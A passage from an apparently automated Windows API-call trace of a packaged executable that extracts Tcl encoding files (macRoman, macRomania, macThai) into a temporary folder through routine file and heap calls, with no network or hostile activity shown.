lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.825] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.825] GetFileType (hFile=0x10c) returned 0x1 [0036.825] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.825] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.825] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.825] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.825] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.825] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.825] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.825] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.825] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.825] CloseHandle (hObject=0x10c) returned 1 [0036.825] GetLastError () returned 0x0 [0036.825] SetLastError (dwErrCode=0x0) [0036.825] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.826] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.826] GetFileType (hFile=0x10c) returned 0x1 [0036.826] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.826] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.826] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.826] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.826] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.826] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.826] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.826] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.826] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.826] CloseHandle (hObject=0x10c) returned 1 [0036.826] GetLastError () returned 0x0 [0036.826] SetLastError (dwErrCode=0x0) [0036.826] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macRoman.enc") returned 71 [0036.826] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macRoman.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\macroman.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.826] GetLastError () returned 0x2 [0036.826] SetLastError (dwErrCode=0x2) [0036.826] GetLastError () returned 0x2 [0036.826] SetLastError (dwErrCode=0x2) [0036.826] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macRoman.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macRoman.enc", lpFilePart=0x0) returned 0x46 [0036.826] GetLastError () returned 0x2 [0036.826] SetLastError (dwErrCode=0x2) [0036.826] GetLastError () returned 0x2 [0036.826] SetLastError (dwErrCode=0x2) [0036.827] GetLastError () returned 0x2 [0036.827] SetLastError (dwErrCode=0x2) [0036.827] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macRoman.enc") returned 71 [0036.827] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.827] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macRoman.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\macroman.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.827] GetFileType (hFile=0x10c) returned 0x1 [0036.827] htonl (hostlong=0x45040000) returned 0x445 [0036.827] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.827] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x445, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x445, lpOverlapped=0x0) returned 1 [0036.828] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.828] CloseHandle (hObject=0x10c) returned 1 [0036.828] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.829] htonl (hostlong=0x30000000) returned 0x30 [0036.829] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.829] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.829] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.829] GetFileType (hFile=0x10c) returned 0x1 [0036.829] htonl (hostlong=0xc5a15600) returned 0x56a1c5 [0036.829] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5b51c5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.829] htonl (hostlong=0x2e020000) returned 0x22e [0036.829] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x22e) returned 0x550600 [0036.829] htonl (hostlong=0x2e020000) returned 0x22e [0036.829] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.829] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.829] htonl (hostlong=0x47040000) returned 0x447 [0036.829] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x447) returned 0x55e278 [0036.829] htonl (hostlong=0x2e020000) returned 0x22e [0036.829] htonl (hostlong=0x47040000) returned 0x447 [0036.829] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.829] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.830] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.830] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.830] CloseHandle (hObject=0x10c) returned 1 [0036.830] GetLastError () returned 0x0 [0036.830] SetLastError (dwErrCode=0x0) [0036.830] GetLastError () returned 0x0 [0036.830] SetLastError (dwErrCode=0x0) [0036.830] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.830] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.830] GetFileType (hFile=0x10c) returned 0x1 [0036.830] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.830] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.830] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.830] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.830] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.830] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.830] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.830] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.830] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.830] CloseHandle (hObject=0x10c) returned 1 [0036.830] GetLastError () returned 0x0 [0036.830] SetLastError (dwErrCode=0x0) [0036.830] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.830] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.831] GetFileType (hFile=0x10c) returned 0x1 [0036.831] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.831] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.831] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.831] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.831] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.831] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.831] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.831] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.831] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.831] CloseHandle (hObject=0x10c) returned 1 [0036.831] GetLastError () returned 0x0 [0036.831] SetLastError (dwErrCode=0x0) [0036.831] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macRomania.enc") returned 73 [0036.831] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macRomania.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\macromania.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.831] GetLastError () returned 0x2 [0036.831] SetLastError (dwErrCode=0x2) [0036.831] GetLastError () returned 0x2 [0036.831] SetLastError (dwErrCode=0x2) [0036.831] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macRomania.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macRomania.enc", lpFilePart=0x0) returned 0x48 [0036.831] GetLastError () returned 0x2 [0036.831] SetLastError (dwErrCode=0x2) [0036.831] GetLastError () returned 0x2 [0036.831] SetLastError (dwErrCode=0x2) [0036.831] GetLastError () returned 0x2 [0036.831] SetLastError (dwErrCode=0x2) [0036.832] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macRomania.enc") returned 73 [0036.832] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.832] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macRomania.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\macromania.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.833] GetFileType (hFile=0x10c) returned 0x1 [0036.833] htonl (hostlong=0x47040000) returned 0x447 [0036.833] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.833] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x447, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x447, lpOverlapped=0x0) returned 1 [0036.838] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.838] CloseHandle (hObject=0x10c) returned 1 [0036.839] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.839] htonl (hostlong=0x30000000) returned 0x30 [0036.839] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.839] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.839] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.839] GetFileType (hFile=0x10c) returned 0x1 [0036.839] htonl (hostlong=0xf3a35600) returned 0x56a3f3 [0036.839] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5b53f3, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.839] htonl (hostlong=0x20020000) returned 0x220 [0036.839] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x220) returned 0x550600 [0036.839] htonl (hostlong=0x20020000) returned 0x220 [0036.839] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.839] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.839] htonl (hostlong=0x44040000) returned 0x444 [0036.839] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x444) returned 0x55e278 [0036.839] htonl (hostlong=0x20020000) returned 0x220 [0036.839] htonl (hostlong=0x44040000) returned 0x444 [0036.839] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.839] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.839] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.839] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.839] CloseHandle (hObject=0x10c) returned 1 [0036.839] GetLastError () returned 0x0 [0036.839] SetLastError (dwErrCode=0x0) [0036.839] GetLastError () returned 0x0 [0036.839] SetLastError (dwErrCode=0x0) [0036.840] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.840] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.840] GetFileType (hFile=0x10c) returned 0x1 [0036.840] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.840] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.840] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.840] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.840] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.840] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.840] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.840] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.840] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.840] CloseHandle (hObject=0x10c) returned 1 [0036.840] GetLastError () returned 0x0 [0036.840] SetLastError (dwErrCode=0x0) [0036.840] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.840] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.840] GetFileType (hFile=0x10c) returned 0x1 [0036.840] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.840] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.840] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.840] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.840] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.841] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.841] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.841] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.841] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.841] CloseHandle (hObject=0x10c) returned 1 [0036.841] GetLastError () returned 0x0 [0036.841] SetLastError (dwErrCode=0x0) [0036.841] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macThai.enc") returned 70 [0036.841] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macThai.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\macthai.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.841] GetLastError () returned 0x2 [0036.841] SetLastError (dwErrCode=0x2) [0036.841] GetLastError () returned 0x2 [0036.841] SetLastError (dwErrCode=0x2) [0036.841] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macThai.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\macThai.enc", lpFilePart=0x0) returned 0x45 [0036.841] GetLastError () returned 0x2 [0036.841] SetLastError (dwErrCode=0x2) [0036.841] GetLastError () returned 0x2 [0036.841] SetLastError (dwErrCode=0x2) [0036.841] GetLastError () returned 0x2 [0036.841] SetLastError (dwErrCode=0x2) [0036.841] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: 